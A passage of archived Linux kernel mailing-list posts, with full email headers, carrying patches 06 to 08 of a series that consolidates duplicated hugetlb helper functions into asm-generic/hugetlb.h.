+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 944e3a4bfaff..651a9593fcee 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -42,6 +42,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index e9e7fef867ad..fd59673e7a0a 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline int huge_pte_none(pte_t pte)
 {
 	return pte_none(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 0f6f151780dd..ffa63fd8388d 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -65,4 +65,12 @@ static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
+static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
+		unsigned long addr, pte_t *ptep)
+{
+	ptep_clear_flush(vma, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 06/11] hugetlb: Introduce generic version of huge_pte_none
Date: Tue, 31 Jul 2018 06:01:50 +0000
Lines: 179
Approved: news@gmane.org
Message-ID: <20180731060155.16915-7-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017273 25067 195.159.176.226 (31 Jul 2018 06:07:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:07:53 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:07:46 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNou-0006Kp-GK
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:07:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729773AbeGaHs3 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:48:29 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:38215 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727409AbeGaHs3 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:48:29 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 83653C0004;
        Tue, 31 Jul 2018 06:09:39 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834707 gmane.linux.kernel.mm:200888 gmane.linux.ports.arm.kernel:666841 gmane.linux.ports.ia64:29009 gmane.linux.ports.mips.general:65781 gmane.linux.ports.parisc:28846 gmane.linux.ports.ppc64.devel:160655 gmane.linux.ports.sh.devel:57293 gmane.linux.ports.sparc:28152 gmane.linux.kernel.cross-arch:45530
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834707>

arm, arm64, ia64, parisc, powerpc, sh, sparc, x86 architectures
use the same version of huge_pte_none, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 1 +
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 8 insertions(+), 40 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 537660891f9f..c821b550d6a4 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -44,11 +44,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4c8dd488554d..49247c6f94db 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 41b5f6adeee4..bf573500b3c4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 7df1f116a3cc..1c9c4531376c 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -55,6 +55,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_tlb_page(vma, addr & huge_page_mask(hstate_vma(vma)));
 }
 
+#define __HAVE_ARCH_HUGE_PTE_NONE
 static inline int huge_pte_none(pte_t pte)
 {
 	unsigned long val = pte_val(pte) & ~_PAGE_GLOBAL;
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9afff26747a1..c09d8c74553c 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 0b02856aa85b..3562d46585ba 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 9abf9c86b769..a9f8266f33cf 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 651a9593fcee..11115bbd712e 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index fd59673e7a0a..42d872054791 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,11 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ffa63fd8388d..2fc3d68424e9 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -73,4 +73,11 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_NONE
+static inline int huge_pte_none(pte_t pte)
+{
+	return pte_none(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 07/11] hugetlb: Introduce generic version of huge_pte_wrprotect
Date: Tue, 31 Jul 2018 06:01:51 +0000
Lines: 183
Approved: news@gmane.org
Message-ID: <20180731060155.16915-8-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017339 29375 195.159.176.226 (31 Jul 2018 06:08:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:08:59 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:08:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNpz-0007VJ-VB
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:08:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729790AbeGaHtg (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:49:36 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:34283 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1727283AbeGaHtg (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:49:36 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 60D52240003;
        Tue, 31 Jul 2018 06:10:50 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834708 gmane.linux.kernel.mm:200889 gmane.linux.ports.arm.kernel:666842 gmane.linux.ports.ia64:29010 gmane.linux.ports.mips.general:65782 gmane.linux.ports.parisc:28847 gmane.linux.ports.ppc64.devel:160656 gmane.linux.ports.sh.devel:57294 gmane.linux.ports.sparc:28153 gmane.linux.kernel.cross-arch:45531
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834708>

arm, arm64, ia64, mips, parisc, powerpc, sh, sparc, x86
architectures use the same version of huge_pte_wrprotect, so move
this generic implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 5 -----
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 7 insertions(+), 45 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index c821b550d6a4..9ca14227eeb7 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -44,11 +44,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 49247c6f94db..1fd64ebf0cd7 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index bf573500b3c4..82fe3d7a38d9 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 1c9c4531376c..b3d6bb53ee6e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -62,11 +62,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index c09d8c74553c..5a102d7251e4 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3562d46585ba..7123599089c6 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -152,11 +152,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index a9f8266f33cf..54f65094efe6 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 11115bbd712e..f661362376e0 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 42d872054791..3cd3a2c9840e 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,11 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 2fc3d68424e9..cd9697672b79 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -80,4 +80,11 @@ static inline int huge_pte_none(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_WRPROTECT
+static inline pte_t huge_pte_wrprotect(pte_t pte)
+{
+	return pte_wrprotect(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v5 08/11] hugetlb: Introduce generic version of prepare_hugepage_range
Date: Tue, 31 Jul 2018 06:01:52 +0000
Lines: 218
Approved: news@gmane.org
Message-ID: <20180731060155.16915-9-alex@ghiti.fr>
References: <20180731060155.16915-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533017405 1481 195.159.176.226 (31 Jul 2018 06:10:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Jul 2018 06:10:05 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jul 31 08:09:58 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fkNr3-0000EJ-Tr
	for glk-linux-kernel-4@m.gmane.org; Tue, 31 Jul 2018 08:09:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1729797AbeGaHun (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 31 Jul 2018 03:50:43 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:43921 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726824AbeGaHun (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 31 Jul 2018 03:50:43 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 6EA71C0002;
        Tue, 31 Jul 2018 06:11:57 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180731060155.16915-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2834709 gmane.linux.kernel.mm:200890 gmane.linux.ports.arm.kernel:666843 gmane.linux.ports.ia64:29011 gmane.linux.ports.mips.general:65783 gmane.linux.ports.parisc:28848 gmane.linux.ports.ppc64.devel:160657 gmane.linux.ports.sh.devel:57295 gmane.linux.ports.sparc:28154 gmane.linux.kernel.cross-arch:45532
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2834709>

arm, arm64, powerpc, sparc, x86 architectures use the same version of
prepare_hugepage_range, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 11 -----------
 arch/arm64/include/asm/hugetlb.h   | 11 -----------
 arch/ia64/include/asm/hugetlb.h    |  1 +
 arch/mips/include/asm/hugetlb.h    |  1 +
 arch/parisc/include/asm/hugetlb.h  |  1 +
 arch/powerpc/include/asm/hugetlb.h | 15 ---------------
 arch/sh/include/asm/hugetlb.h      |  1 +
 arch/sparc/include/asm/hugetlb.h   | 16 ----------------
 arch/x86/include/asm/hugetlb.h     | 15 ---------------
 include/asm-generic/hugetlb.h      | 15 +++++++++++++++
 10 files changed, 19 insertions(+), 68 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 9ca14227eeb7..3fcef21ff2c2 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -33,17 +33,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 1fd64ebf0cd7..3e7f6e69b28d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -31,17 +31,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 82fe3d7a38d9..cbe296271030 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -9,6 +9,7 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len);
 
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index b3d6bb53ee6e..6ff2531cfb1d 100644
